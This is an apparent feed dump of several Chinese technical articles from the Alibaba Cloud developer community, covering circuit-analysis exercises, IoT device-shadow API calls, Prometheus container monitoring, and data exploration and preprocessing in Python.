        该电路可以使用之前阐述的节点分析法和回路分析法加以分析。或者,每个电源的作用可以根据叠加原理独立进行分析(用欧姆定律)。另外的方法是使用戴维南定理和诺顿定理简化电路。研究这些方法并且确定哪种方法最简单。
        关键点
        ●电流是电荷的流动。
        ●电压源会产生电动势,它可以使电流在电路中流动。理想电压源的输出电阻为零。但是,所有实际电压源都有内阻。
        ●理想电流源不管接什么样的负载都输出恒定的电流。理想电流源具有无穷大的输出电阻。
        ●电阻上的电流与电压成正比(即欧姆定律)。电压除以电流可以得到电阻值。
        ●多个电阻串联的电阻值等于串联电阻之和。
        ●多个电阻并联的电阻值的倒数等于各电阻的倒数之和。
        ●任意时刻,电路中流入任意节点的电流和为零(基尔霍夫电流定律)。
        ●任意时刻,电路中任意回路的电压和为零(基尔霍夫电压定律)。
        ●由电阻和电源组成的双端口网络都可以用一个电压源和一个电阻的串联代替(戴维南定理)。
        ●由电阻和电源组成的双端口网络都可以用一个电流源和一个电阻的并联代替(诺顿定理)。
        ●在包含多个电源的线性网络中,其电压或电流等于每个电源单独作用时在该处产生的电压或者电流之和(叠加原理)。
        ●节点电压分析法和回路电流分析法会产生一个方程组,解方程组可以求出电路中的电压和电流。
        ●对于特定的电路,多种电路分析法都可以使用。分析方法的选择基于电路性质。

        习题

        3.1 写出电流与电荷的关系式。
        3.2 一个5A的电流经过10s可以传输多少电荷?
        3.3 理想电压源的内阻是多大?
        3.4 受控电压源的含义是什么?
        3.5 理想电流源的内阻是多大?
        3.6 求出下面电路中的各电压V,注意每个电路中电压的极性。

        image.png

        3.7 习题3.6的电路中,电阻的功耗分别是多少?
        3.8 估算一根截面积为1mm2,长度为1m的铜线在0℃时的电阻。
        3.9 求出下面电路的电阻值。

        image.png

        3.10 求出并联电阻10kΩ//10kΩ的值。
        3.11 给出节点、回路和网孔的定义。
        3.12 导出下面电路的戴维南等效电路和诺顿等效电路。

        image.png
        image.png

        3.13 一个双端口网络采用以下方式进行分析:网络连接不同的负载,并测量其输出电压。当输出端连接一个12Ω的电阻时,输出电压为16V。当输出端连接一个48Ω的电阻时,输出电压为32V。采用画图法求出网络的戴维南等效电路和诺顿等效电路。
        3.14 采用非图形的方法重做习题3.13。
        3.15 用叠加原理求出下面电路中的电压V。

        image.png

        3.16 用节点分析法求出下面电路中的电压V。

        image.png

        3.17 对习题3.16中的电路进行仿真,并据此证实题解是正确的。
        3.18 用节点分析法求出下面电路中的电流I1。

        image.png

        3.19 对习题3.18中的电路进行仿真,并证实题解是正确的。
        3.20 用节点分析法求出下面电路中的电流I1。

        image.png

        3.21 对习题3.20中的电路进行仿真,并证实题解是正确的。
        3.22 用回路分析法求出下面电路中的电压V。

        image.png

        3.23 对习题3.22中的电路进行仿真,并证实题解是正确的。
        3.24 用网孔分析法求出下面电路中的电压V。

        image.png

        3.25 对习题3.24中的电路进行仿真,并证实题解是正确的。
        3.26 用网孔分析法求出下面电路中的电流I。

        image.png

        3.27 对习题3.26中的电路进行仿真,并证实题解是正确的。
        3.28 用一种恰当的分析方法求出下面电路中的电压V0。

        image.png

        3.29 对习题3.28中的电路进行仿真,并证实题解是正确的。

        ]]>
        有一种糖叫语法糖【10】IOT实践之如影随形-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 地球上的万物和生灵,受到太阳的普照和恩泽,遵循着生长化收藏的自然规律而繁衍生息。在阳光的照耀下,也根据自身独特的轮廓,在大地
        上留下了黑暗的区域,人类称之为影子;阿里IOT的设备影子功能主要用于两个方面,设备在线时,作为设备状态信息的缓存;设备离线时,作为设备再次上线时,离线前状态的保存;

        关于SHADOW在云端的api一共有两个,主要是查询和更新设备影子常用的两个操作;

        本次用来实验和验证的软件链接如下:
        http://xysuger.xunyun17.xyz/v0.0.10.rar
        读者如果感兴趣的话,可以自行下载运行验证;

        第一个操作是GetDeviceShadow,这个接口提供了用户可以通过云端,获得当前设备的影子信息。这个命令带有两个参数,分别为产品关键字和设备的名称;发送的详细格式如下:
        XYsayFrO.IoT.Srv.GetDeviceShadow.a141rgUXgFl.lamp3_dev.

        发送完后,返回结果如下:

        这里如果发送成功后,会返回设备的影子信息,详细信息是通过json格式返回的,所以我们可以在里面看到很多大括号;这里的可以看到的是期望的数据和实际发送的数据,以color属性为例,这里实际上报的值为蓝色blue,期望的值为绿色green。版本号在最后显示为3。如果设备第一次使用,是没有设备影子的,这里的值也就为空;

        第二个接口为更新设备影子,这个接口可以通过云端向指定产品下的设备发送更新影子的具体消息,发送的命令为UpdateDeviceShadow,这个命令带有三个参数第一个为产品的标识符,第二个发送的设备名称,这前两个参数和上面介绍的接口一样,第三个参数为json格式的影子信息,所以稍微有些复杂,json格式的主要要求就是用大括号把每种类别的信息括起来,然后每一类单独的信息通过分号把类型和值分开,对于设备影子的信息,一般要求有这么四种信息需要上传,第一种信息为上传的方法method,这里是update表示更新;第二种信息为期待的状态desired,这里我们将color属性的期待状态改为蓝色blue,第三种信息为实际上报的状态,这里我们将color属性的实际上报状态改为red红色,第四种为更新的版本号,要求大于当前的版本号,我们通过上面的接口得知,当前的版本号为3,这里配置为4;最后组合起来的完整命令如下:

        XYsayFrO.IoT.Srv.UpdateDeviceShadow.a141rgUXgFl.lamp3_dev.{"method":"update","state":{"desired":{"color":"blue"},"reported":{"color":"red"}},"version":4}.
        运行后,返回success:true,表示运行成功;接着我们重复运行第一条命令,校验以下我们修改的信息是否生效;

        发送完后,返回结果如下:

        这里如果发送成功后,会在success字段返回true;
        通过察看ShadowMessage的json数据包,可以看到版本已经被改成4了,期望和实际的color值,也和以前的不一样了,而是和我们修改后的一致;

        由于阿里iot关于设备影子的接口只有2个,所以关于设备影子在云端接口基本操作的解释就介绍到这里;
        随着这篇文章的结束,这个系列的文章也完结了。特此写个顺口溜作为这个系列的结尾:
        阿里物联奥妙多,
        诸多功能来加持,
        产品管理定格局,
        设备操作分细节,
        分组定义划功能,
        主题来把特性显,
        规则引擎逻辑强,
        消息通信最及时,
        设备影子促稳定,
        七类接口全学会,
        物联世界任我游。

        快到年底了,工作也忙起来了,提前预祝各位读者,元旦快乐,新年快乐;明年开春再见;)

        ]]>
        容器监控工具(2)Prometheus + cAdvisor + grafana-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 本篇已加入《.NET Core on K8S学习实践系列文章索引》,可以点击查看更多容器化技术相关系列文章。上一篇介绍了Google开发的容器监控工具cAdvisor,但是其提供的操作界面较为简陋,且不支持监控多Host,实用性有待提高。因此,本篇会介绍一个流行的生产级监控工具,不,准确说来应该是一个监控方案,它就是Prometheus!

        实验环境:阿里云ECS主机(两台),CentOS 7.4

        一、Prometheus简介

        1.1 关于Prometheus

          Prometheus是由SoundCloud开发的开源监控系统的开源版本。2016年,由Google发起的云原生基金会CNCF (Cloud Native Computing Foundation) 将其纳入为其第二大开源项目(第一大开源项目是Kubernetes)。Prometheus提供了一整套的包括监控数据搜集存储处理可视化和告警完整解决方案

          Prometheus官网地址:https://prometheus.io/

          Prometheus GitHub:https://github.com/prometheus/prometheus/

        1.2 Prometheus架构

          Prometheus在其官方github上贴出的其架构图如下:  

           为了更容易理解这个架构,这里我们采用园友Cloud Man(他也是本文参考资料《每天5分钟玩转Docker》作者)总结的下图,它去掉了一些部分,只保留了最重要的组件,可以帮助我们避免注意力分散。

           从上图看来,我们着重需要关注以下几个核心组件:

          (1)Prometheus Server:负责从Exporter中拉取和存储监控数据,并提供一套查询语言(PromQL)供用户使用。

          (2)Exporter:负责收集目标对象(如Host或Container)的性能数据,并通过HTTP接口供Prometheus Server获取。

          (3)可视化组件 Grafana:获取Prometheus Server提供的监控数据并通过Web UI的方式完美展现数据。

          (4)AlertManager:负责根据告警规则和预定义的告警方式发出例如Email、Webhook之类的告警。

        1.3 Prometheus数据模型

          Prometheus 中存储的数据为时间序列,是由 metric 的名字和一系列的标签(键值对)唯一标识的,不同的标签则代表不同的时间序列。

        • metric 名字:该名字应该具有语义,一般用于表示 metric 的功能,例如:http_requests_total, 表示 http 请求的总数。其中,metric 名字由 ASCII 字符,数字,下划线,以及冒号组成,且必须满足正则表达式 a-zA-Z_:*。
        • 标签:使同一个时间序列有了不同维度的识别。例如 http_requests_total{method="Get"} 表示所有 http 请求中的 Get 请求。当 method="post" 时,则为新的一个 metric。标签中的键由 ASCII 字符,数字,以及下划线组成,且必须满足正则表达式 a-zA-Z_:*。
        • 样本:实际的时间序列,每个序列包括一个 float64 的值和一个毫秒级的时间戳。

          时间序列格式:


        <metric name>{<label name>=<label value>, ...}

        ]]>
        带你读《增强型分析:AI驱动的数据分析、 业务决策与案例实践》之二:大数据探索及预处理-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 点击查看第一章
        点击查看第三章
        第2章

        大数据探索及预处理

        现在几乎人人都在谈论大数据和人工智能,然而应用大数据和人工智能技术的基本前提是数据。不论数据的拥有方还是数据分析解决方案及工具的提供方,其终极目标都是“通过数据分析,从数据中找出洞见并应用于实际场景中带来价值”。
        数据探索、数据预处理等工作是进行数据分析的首要工作。不论是采用大数据的工具还是采用相对较小的数据集上的数据挖掘的工具,模型的构建都需要经过对数据不断地探索、选择和加工合适的字段、采用合适的算法并训练模型等过程。
        数据探索的目的是了解数据的状态,数据预处理则是为了将数据加工为更有价值的形态。数据分析者应当具有很好的意识,能够感知数据的价值,具备数据加工能力。

        2.1大数据探索

        大多数情况下,数据分析的过程必须包括数据探索的过程。数据探索可以有两个层面的理解:一是仅利用一些工具,对数据的特征进行查看;二是根据数据特征,感知数据价值,以决定是否需要对别的字段进行探索,或者决定如何加工这些字段以发挥数据分析的价值。字段的选取既需要技术手段的支撑,也需要数据分析者的经验和对解决问题的深入理解。

        2.1.1数值类型

        在进行数据分析时,往往需要明确每个字段的数据类型。数据类型代表了数据的业务含义,分为3个类型:
        (1)区间型数据(Interval)
        数值型数据的取值都是数值类型,其大小代表了对象的状态。比如,年收入的取值,其大小代表了其收入状态。
        (2)分类型数据(Categorical)
        分类型数据的每一个取值都代表了一个类别,如性别,两个取值代表了两个群体。
        (3)序数型数据(Ordinal)
        和分类型数据非常相似,每个取值代表了不同的类别。但是,序数型的数据还有另外一层含义就是每个取值是有大小之分的。比如,如果将年收入划分为3个档次:高、中、低,则不同的取值既有类别之分,也有大小之分。
        如果不了解字段的实际业务含义,数据分析人员可能会出现数据类型判断失误。比如字段的取值为“1”“2”“3”等,并不意味着是一个数值类型,它的业务含义还可以是一个分类型的字段,“1”“2”“3”分别代表了一个类别,其大小没有任何含义。所以,充分了解字段的含义是很重要的。
        很多的数据分析工具会根据数据中的字段的实际取值,做出类型的自动判断:如字符型的数据,一般都认定为分类型数据;如某个字段的所有取值只有“1”“2”“3”,则判断其为分类型变量,然后经过用户的再次判断,其很可能是序数型变量。
        不同的数据类型,在算法进行模型训练时,处理和对待的方式是不同的。区间型数据是直接进行计算的;分类型数据是先将其转换为稀疏矩阵:每一个类别是一个新的字段,然后根据其取值“1”“0”进行计算。
        在很多场景下,人们习惯将分类型数据和序数型数据统称为分类型数据,即数据类型可以是两个:数值型数据(区间型数据)和分类型数据(分类型数据和序数型数据)。

        2.1.2连续型数据的探索

        连续型数据的探索,其关注点主要是通过统计指标来反映其分布和特点。典型的统计指标有以下几个:
        (1)缺失值
        取值为空的值即为缺失值。缺失值比例是确定该字段是否可用的重要指标。一般情况下,如果缺失率超过50%,则该字段就完全不可用。
        在很多情况下,我们需要区别对待null和0的关系。Null为缺失值,0是有效值。这个区别很重要,要小心区别对待。例如,某客户在银行内的某账户余额为null,意味着该客户可能没有该账户。但是如果将null改为0,则是说用户有该账户,且账户余额为零。
        (2)均值(Mean)
        顾名思义,均值即平均值。其大小反映了整体的水平。一个数学平均成绩是95分的班级,肯定比平均成绩是80分的班级的数学能力要好。
        (3)最大值和最小值
        最大值和最小值即每个数据集中的最大数和最小数。
        (4)方差
        方差反映各个取值距平均值的离散程度。虽然有时两组数据的平均值大小可能是相同的,但是各个观察量的离散程度却很少能相同。方差取值越大,说明离散程度越大。比如,平均成绩是80分的班级,其方差很小,说明这个班级的数学能力比较平均:没有多少过高的成绩,也没有多少过低的成绩。
        (5)标准差
        标准差是方差的开方,其含义与方差类似。
        (6)中位数(Median)
        中位数是将排序后的数据集分为两个数据集,这两个数据集分别是取值高的数据集和取值低的数据集。比如,数据集{3,4,5,7,8}的中位数是5,在5之下和5之上分别是取值低和取值高的数据集。数据集{2,4,5,7}的中位数应当是(4 + 5)/2=4.5。
        (7)众数(Mode)
        众数是数据集中出现频率最高的数据。众数最常用的场景是分类型数据的统计,但是其也反映了数值型数据的“明显集中趋势点的数值”。
        均值、中位数、众数的计算方式各有不同,如表2-1所示。

        表2-1 均值、中位数、众数的例子


        image.png
        (8)四分位数(Quartile)
        四分位数,即用三个序号将已经排序过的数据等分为四份,如表2-2所示。

        表2-2 四分位的例子


        image.png
        第二四分位数(Q2)的取值和中位数的取值是相同的。
        (9)四分位距(Interquartile Range,IQR)
        四分位距通过第三四分位数和第一四分位数的差值来计算,即IQR=Q3-Q1。针对上表,其IQR=61-34=27。四分位距是进行离群值判别的一个重要统计指标。一般情况下,极端值都在Q1-1.5×IQR之下,或者Q3 + 1.5×IQR之上。著名的箱形图就是借助四分位数和四分位距的概念来画的,如图2-1所示。
        image.png

        图2-1 箱形图及IQR

        箱形图中的上下两条横线,有可能是离群值分界点(Q3 + 1.5×IQR或Q1-1.5×IQR),也有可能是最大值或最小值。这完全取决于最大值和最小值是否在分界点之内。
        (10)偏斜度(Skewness)
        偏斜度是关于表现数据分布的对称性的指标。如果其值是0,则代表一个对称性的分布;若其值是正值,代表分布的峰值偏左;若其值是负值,代表分布的峰值偏右。在图2-2中给出了偏斜度的示例。
        image.png

        图2-2 Skewness的含义

        Skewness的绝对值(不论是正值还是负值)如果大于1是个很明显的信号,你的数据分布有明显的不对称性。很多数据分析的算法都是基于数据的分布是类似于正态分布的钟型分布,并且数据都是在均值的周围分布。如果Skewness的绝对值过大,则是另一个信号:你要小心地使用那些算法!
        不同的偏斜度下,均值、中位数、众数的取值是有很大不同的:
        由图2-3可见,在数据取值范围相同的情况下,中位数是相同的。但是均值和众数却有很大的不同。所以,除了偏斜度指标可以直接反映分布特征外,还可以用表2-3中的方法来判断。
        image.png

        图2-3 众数、均值及中位数在不同分布下的比较

        表2-3 通过中位数和均值的差异来判断分布的偏斜情况

        image.png
        (11)峰态(Kurtosis)
        标准正态分布的峰态的值是3,但是在很多数据分析工具中对峰态值减去3,使得:0代表是正态分布;正值代表数据分布有个尖尖的峰值,高于正态分布的峰值;负值代表数据有个平缓的峰值,且低于正态分布的峰值。
        峰态指标的主要作用是体现数值分布的尾巴厚度,尖峰对应着厚尾,即Kurtosis大于0时,意味着有一个厚尾巴。尖峰厚尾也就是说,在峰值附近取值较集中,但在非峰值附近取值较分散。图2-4所示为一个峰态的例子。
        在连续型数据的探索中,需要重点关注的指标首先是缺失率,然后是均值、中位数等指标,这些指标能帮助数据分析者对数据的特征有很好的了解。偏斜度是另外一个非常重要的指标,但其绝对值接近1或大于1时,必须对其进行log转换才能使用,否则该指标的价值将大打折扣。
        image.png

        图2-4 峰态的例子

        Python Pandas中DataFrame的describe方法默认只统计连续性字段的最大值、最小值、均值、标准差、四分位数,如果想获取其他的特征值,需要调用相应的函数来获得。下面是一段示例代码,其运行结果通过表2-4来展示。
        image.png

        表2-4 连续型变量数据探索示例代码的运行结果


        image.png

        2.1.3分类型数据的探索

        分类型数据的探索主要是从分类的分布等方面进行考察。常见的统计指标有以下几个:
        (1)缺失值
        缺失值永远是需要关心的指标,不论是连续型数据,还是分类型数据。过多的缺失值,会使得指标失去意义。
        (2)类别个数
        依据分类型数据中类别的个数,可以对指标是否可用有一个大致的判断。例如,从业务角度来看,某指标应当有6个类别,但实际样本中只出现了5个类别,则需要重新考虑样本的质量。再如,某个分类型变量只有一个类别时,对数据分析是完全不可用的。
        (3)类别中个体数量
        在大多数情况下,如果某些类别中个体数量太少,如只有1%的比例,可以认为该类别是个离群值。关于分类型变量离群值的研究比较多,但是如果脱离业务来谈分类型变量的离群值,是不妥当的。不平衡数据就是一个典型的与业务有关的例子。比如,从业务角度来看,购买黄金的客户只占银行全量客户的很小的一个部分,如果采取简单随机抽样的方式,“是否购买”列的值将只有极少的“是”的取值。但是,不能将“是”直接判断为离群值,反而“是”有极其重要的业务含义。所以,数据分析者需要灵活地认识和对待类别中个体数量的问题。
        (4)众数
        和连续型数据的含义一样,众数是数据集中出现频率最高的数据。比如,针对某个分类型取值A、B、C、D中C的出现次数最多,则C就是众数。
        以下是一段分类型变量数据探索示例代码,其运行结果通过表2-5来展示。
        image.png

        表2-5 分类型变量数据探索示例代码的运行结果

        image.png
        应用Python Pandas的相关函数能够非常容易得到分类型变量的探索结果,表2-5所示就是数据探索示例代码的运行结果。

        2.1.4示例:数据探索

        我们采用加州大学欧文学院创建的Machine Learning Repository 网站上的一个数据集,Bank Marketing Data Set 。Machine Learning Repository是一个非常著名的网站,里面的数据集最早被分享于1987年。很多著名的计算机类的论文都引用这个网站上的数据。Bank Marketing Data Set来自葡萄牙某银行的市场营销数据,表2-6展示了部分字段的类型及取值范围。

        表2-6 Bank Marketing Data Set的字段说明


        image.png
        该案例所描述的场景是葡萄牙某银行机构的电话营销活动,通过调查客户的基本信息来预测客户是否会认购定期存款,所调查的客户信息包括年龄、工作类型、婚姻状况、教育、是否有个人贷款等。在本节中,我们使用bank-full数据集完成一个数据探索示例,包括单个变量的分布情况、双变量之间的关系,这些探索可以为缺失值处理、异常值和离群值处理、特征变换做一个很好的铺垫。
        通过可视化工具可以展现单变量的分布特征。对于连续型变量age、balance、duration,通过折线图和箱形图展现数据的情况。对于分类型变量job、marital、education、y,通过柱状图展现数据的情况。
        image.png
        image.png
        上述代码是绘制age、balance、duration变量的折线图,并将其在一个图中集中展现。通过观察折线图可以初步掌握数据的缺失情况、异常情况和离群值情况等。比如balance变量存在一些极大值情况,但大多数值都落在小区间范围内。图2-5所示是三个变量age、balance、duration的折线图结果。
        image.png

        图2-5 折线图的示例

        箱形图从分位数的角度来展现变量的分布特征,人们往往会根据箱形图做出离群值的过滤条件等数据清洗规则。
        image.png
        image.png
        从图2-6中可以看出,age变量取值范围比较大,离群点较少;balance变量和duration变量的取值范围比较小,都分布在小值范围内,离群点分布范围比较广。
        image.png

        图2-6 箱形图的示例

        分类型变量一般首先通过柱状图来展现分布特征。下面的代码是分别绘制数据集中变量job、marital、education、y的柱状图。为了展现更为详尽的柱状图的绘制原理,我们采用“统计各分类值取值个数,然后再绘制柱状图”的方法。
        image.png
        image.png
        从图2-7的4个柱状图中可以看出每个变量的取值分布,比如job变量类别比较多,其中一个类别取值比较少;education变量中unknown的值个数比较少;y变量的数据分布不均衡。数据集出现预测变量类不均衡的情况,在构建分类型预测模型时一般需要将数据处理为均衡数据集才可使用。读者可以参考5.5.2节中的介绍以了解处理的方法和过程。
        双变量的关系探查往往能发现非常有价值的数据洞见。双变量探查包括连续型-连续型、连续型-分类型、分类型-分类型这些关系,连续型-连续型使用散点图来探查它们的线性关系,分类型-分类型使用堆叠柱状图或卡方检验,连续型-分类型使用ANOVA方差进行分析。本案例通过连续型-连续型进行举例说明,选择使用age变量和balance变量。
        image.png
        image.png
        上述代码通过散点图和两个直方图(如图2-8所示)可以从变量分布以及变量间的关系的角度发现有价值的结论。例如,对于age的不同取值,balance的取值都集中在20000的范围内,20000之外的取值比较少;财富在20000以上的人群年龄基本在40岁以上;60岁是一个明显的财富分割点,即60岁以上仍然拥有20000以上财富的人数陡降。
        image.png

        图2-7 柱状图示例

        图2-8只是从分布的角度来看是否能发现有意义的业务洞察。若单纯计算两个变量间的相关性并进行展示,则可以参考下面的例子。
        image.png
        image.png

        图2-8 双变量关系探索的示例(X轴是age变量,Y轴是balance变量)

        从图2-9中可以看出,age和balance之间的相关性只有0.098,说明它们之间的相关性比较弱。计算变量间的相关系数,可以为后期进行模型构建、变量选择、衍生指标加工提供依据。在1.4节中,我们鼓励数据分析者能够输出两种价值,其实图2-8及其对应的解读就是一个很好的示例。
        在数据分析实践中,笔者强烈建议数据分析者能够花费大量的时间在数据探索的工作上。这样既能保证数据分析者对业务的深刻理解,也能为后续的数据预处理奠定非常好的基础。
        image.png

        图2-9 双变量相关矩阵的示例

        2.2数据预处理

        数据的重要性在大多数情况下都超过了算法的重要性。数据预处理是数据分析过程中的一个重要步骤。多年以来,人们在数据质量上的持续投入大幅减少了越界、缺失、不一致等问题。但是,数据质量问题仍然存在。数据分析者应当对数据质量时刻保持警惕,因为质量很差的数据是很难得到有用的分析结果的。既然数据质量问题不可避免,那么处理它们是数据预处理的工作之一。数据预处理的完整工作应当包括数据清洗、数据集成、数据变换和数据归约处理。

        2.2.1数据清洗

        数据清洗就是发现和改正(或移除)不准确或不精确的数据。数据仓库的数据治理模块重点关注数据质量问题,并拥有完善的数据清洗功能。本书讨论的数据清洗的工作,在数据仓库的管理者看来,是属于他们的工作范畴。但是,我们并不认为,从数据仓库中出来的数据都是没有问题,况且数据分析的数据源并不只有数据库或者数据仓库。在数据分析领域,常用的数据清洗包括以下几种:
        1. 缺失值的处理
        处理缺失值是最为常见的数据清洗工作。在数据分析中会遵从一些规则来填补缺失值。比如:

        • 对于连续型变量,采用均值来代替缺失值;
        • 对于序数型分类型变量,采用中位数来代替缺失值;
        • 对于分类型变量,采用众数来代替缺失值。

        2. 越界值的处理
        少数的越界值会被当作离群值来处理;大量的越界值需要通过业务知识来判断。比如,对于银行客户的资产负债比,如果有较多人是负数,就需要高度怀疑数据的加工方式出现了问题。因为从业务角度来看,这种情况不可能是普遍现象。
        Python提供了很多方法来处理缺失值。最简单的方法是调用replace函数或者直接调用DataFrame中的fillna函数进行缺失值的替换。
        image.png
        上述代码用来填充空白值,其运行结果如图2-10所示。
        image.png

        图2-10 数据空白值填充的示例

        对于越界值的处理会更复杂,因为需要用不同的业务知识来判断越界值产生的原因,然后再决定越界值的处理方式:是简单地将越界值移除,还是对越界值进行纠正?但这些操作的前提是先识别越界值。对于连续型的变量,可以采用Z-score将数据变换成均值为0、标准差为1的数据,然后Z-score的值超过3~-3的数据都会被认为是越界值,并将这些值从数据中去除。
        image.png
        从上述代码的处理结果中可以看出,有5002(初始数据有45211行,过滤离群值后有40209行)行包含离群值的数据被过滤掉。类似于拼写错误、值与字段含义不匹配等数据清洗的工作,一般都需要借助一些批处理的脚本来处理。
        在一些数据预处理工具中,针对一些情况,其会自动做一些处理,比如:

        • 如果一个变量的缺失值比例大于设定阈值(默认是50%),那么该变量将被忽略;
        • 对于连续型变量,如果该变量的最大值等于最小值(即为常量),那么该变量将被忽略;
        • 对于分类型变量,如果该变量的众数在记录中所占比例大于设定阈值(默认是95%),那么该变量将被忽略。

        image.png
        在上面的例子中,第一个条件使用isnull()函数标记数据中全部的缺失值,再通过mean()函数计算缺失值所占的比例,最后判断是否大于设定的阈值;第二个条件判断数据的每一个值是否都相同(是否是常量);第3个条件通过value_counts()函数和max()函数计算数据中每一个变量众数的比例,并判断是否大于设定的阈值。我们只要通过这样一条语句就可以完成上述所有的数据预处理过程。经过这些条件的处理,数据变成了16个变量,说明其中一个变量因为满足这些条件而被忽略了。下面我们单独执行每一个条件,看看是什么条件被触发了。
        在图2-11中,分别执行数据预处理的3个条件,我们看到“已授信”字段触发了“众数比例大于95%”这个条件而被忽略。基于这个原因,初始数据集从17个字段变成了最终的16个字段。
        image.png

        图2-11 分别执行数据预处理的3个条件,查看触发条件

        2.2.2数据变换

        对于连续型变量,如果该变量的取值的个数小于设定阈值(默认是5),那么将该变量转化为有序型分类变量。对于有序型分类变量(数值类型),如果该变量的类型的个数大于设定阈值(默认是10),那么将该变量转化为连续型变量。
        1. 连续型变量的变换
        对于连续型变量,为了保证数据中不同的字段保持同样的尺度(这样既可以防止某些字段在建模过程中发生溢出,又可以保证每一个字段在模型中的权重相同),我们需要进行一些尺度变换的操作。分箱(binning,又称离散化)是将连续型数据转换为分类型变量,转换的目的是提高变量的解释性。
        (1)尺度变化
        为了使数据尺度一致,可以对原始数据进行中心化、标准化、归一化、Z-score变换、最小-最大值变换等。在表2-7中我们列举了典型的数据转换方法。
        (2)分箱变换
        对于一些连续型变量,从业务和数据特点上考虑,需要将连续型数据变为分类型数据,可以进行binning操作,常用的分箱变换方法如表2-8所示。
        分箱技术的方法有很多种,比较常用的有下面的3种方式:

        • 等宽度间隔(Equal Width Intervals);
        • 基于已扫描个案的等百分位(Equal Percentiles Based on Scanned Cases);
        • 基于已扫描个案的平均值和选定标准差处的分割点(Cutpoints at Mean and Selected Standard Deviations Based on Scanned Cases)。

        表2-7 典型的数据转化方法

        image.png

        表2-8 分箱变换方法

        image.png
        从中位数直接将连续型数值划分为两个分组是比较常见的等宽度间隔的分箱做法。在偏峰的情况下,是可以划分出明显的高低两个分组的,如图2-12所示。
        image.png

        图2-12 采用中位数对连续型变量进行划分

        在没有具体业务要求的情况下,上述三种方式都是合适的。但是我们在一个关于银行的实际案例中,遇到这样的一种情况:当对某个连续值进行分箱时,遇到的问题不仅仅是等宽或者等值的问题,真正的问题是怎么样的分箱对业务具有指导意义。不同的分箱,每个值的背后都是一批客户,而在银行的营销力量有限的情况下,必然需要对不同的群体采取不同的策略。最为简单的策略就是,对高价值的客户采用费用较高但是可能带来高回报的营销活动,而对低价值的客户,则可以采用费用较低的营销。并且往往低价值的客户是占多数的,其分布大多如图2-13所示:
        image.png

        图2-13 很多情况下,低价值的客户总是占多数

        针对如图2-13所示的分布,等宽分布、等值分布都比较难以确定“什么样的阈值可以区分高价值客户、低价值客户”。所以,我们采用了经典的“80%~20%”的方法,即80%的客户可能会贡献较少的价值,而20%的人往往会贡献较多的价值。图2-14代表了一种典型的分箱策略。
        image.png

        图2-14 按照80%-20%的划分能够将高价值的客户显著区分出来

        我们采用2.1.4节中的数据集来展现分箱的实例。在银行的营销活动中,营销产品的设计往往关注客户的年龄。不考虑客户的职业等其他的特征,一般青壮年客户有成家立业的金融需求,中老年的客户则倾向于投资、存款等。所以,年龄阶段的划分(分箱)可以作为一个衍生字段。
        为此,我们用SciKit-learn中的KBinsDiscretizer来生成衍生字段。KBinsDiscretizer提供了3种分箱策略:

        • uniform:每一个分箱都有相同的宽度;
        • quantile:每一个分箱都有相同的数据个数;
        • kmeans:分箱中的每个值都具有与kmeans聚类相同的最近中心。

        利用KBinsDiscretizer对2.1.4节中的数据进行年龄变量的分箱操作,使用上述3种分箱策略生成3个衍生字段:“年龄分箱_uniform”“年龄分箱_quantile”和“年龄分箱_kmeans”,分箱时选择的分箱数是6,然后对原始变量“年龄”,以及3个衍生字段再次进行数据探查,查看数据分布的变化。
        image.png
        上述代码生成3个分箱的结果,通过查看前5行数据(如表2-9所示)可以看出3个分箱的决策是各不相同的,如年龄58,按照uniform策略,则属于编号是“3.0”的分箱区间;按照quantile策略,则属于编号是“5.0”的分箱区间;按照kmeans策略,则属于编号是“3.0”的分箱区间。

        表2-9 3种分箱策略的结果示例

        image.png
        我们还可以通过查看分箱前后的柱状图来观察和理解各个分箱结果的不同。图2-15所示是源数据的分布以及3种分箱策略的结果展示。
        image.png

        图2-15 源数据分布及3种分箱策略的结果示例

        从年龄变量的分布来看,该银行的客户主要是30岁到40岁的青壮年,小于30岁的客户很少,而年龄超过60岁的客户更少,这个结果间接印证了前面所进行的数据探索的结果——60岁是一个财富的分割点。使用uniform分箱策略生成的衍生字段因为每个分箱的宽度相同,因此基本上保留了年龄变量的分布特征。
        而使用quantile分箱策略生成的衍生字段却完全改变了数据分布的情况。因为这个分箱策略是使每一个分箱中包含数量基本相同的数据,所以其分布得也非常均匀。我们通过KBinsDiscretizer的bin_edges_方法查看使用quantile分箱策略进行的分箱操作,其分箱边界为18~31、31~35、35~39、39~45、45~52和52~95。其在年龄分布非常集中的区间,分箱非常密集。其中31~45岁这个区间就包含了3个分箱。
        使用kmeans分箱策略相当于对年龄变量进行了6个聚类的kmeans聚类操作。因为是基于kmeans算法,取值更接近的数据会被划分在一个聚类里,所以kmeans分箱策略也基本上保留了年龄变量的分布特征,其分箱边界也基本上接近于uniform的分箱边界。
        2. 分类型变量的变换
        在很多的机器学习的算法实现中,在调用算法之前,会首先对分类型数据做一些变换。这些变换会提高模型的稳定性。比较常见的变换如表2-10所示:

        表2-10 分类型变量的变换

        image.png
        对于分类型变量,为了在模型中体现出分类型变量自身的特点,比如每个类型只是一个标记,无大小之说,每个类型都可以作为一个独立的参数参与模型构建,这样可以对分类型变量做数值编码,变换为虚拟dummy变量或者成为标记indicator变量。
        对于某些分类型变量,其类型是名义nominal变量,为了提高模型的稳定性,需要对分类型变量的各个类型按照其数据量的多少重新排序。这样原来的类型标记被重新编码和排序。对于某些数据集,其含有一系列相关的多个分类型字段,各个字段存在业务逻辑上的关系,并且各个字段的取值也存在关联。这样,我们就可以将这些字段合并为一个字段。这样做既可以减少模型的维度和复杂度,也可以消除各个自变量之间的相关性,保持彼此的独立性,提高模型的质量。
        (1)类别的数值编码
        当训练模型时,数据集中的字段包含符号字段(或者称为分类字段)时,而且该字段也需要被用来参与建模,并且该模型算法需要使用所有记录的数值来进行算法计算。这种情况下就对符号字段提出了挑战,那么如何用数值来表示该符号字段的各个分类呢?
        一般的做法是将该符号字段编码为一组数值字段,该组数值字段的个数等于该符号字段的分类个数,一个分类对应一个数值字段。对于该符号字段的每一个取值,对应于该值的那个数值字段的值均被设置为1,其他数值字段的值均被设置为0。这组数值字段(或者称为衍生字段)被称为indicator(指示)字段,或者dummy(虚拟)字段。
        如表2-11所示,对于下列3条数据,X是一个符号字段,取值为A、B、C,那么它可以被转化为衍生字段X1、X2、X3。

        表2-11 分类型变量的变换为dummy字段

        image.png
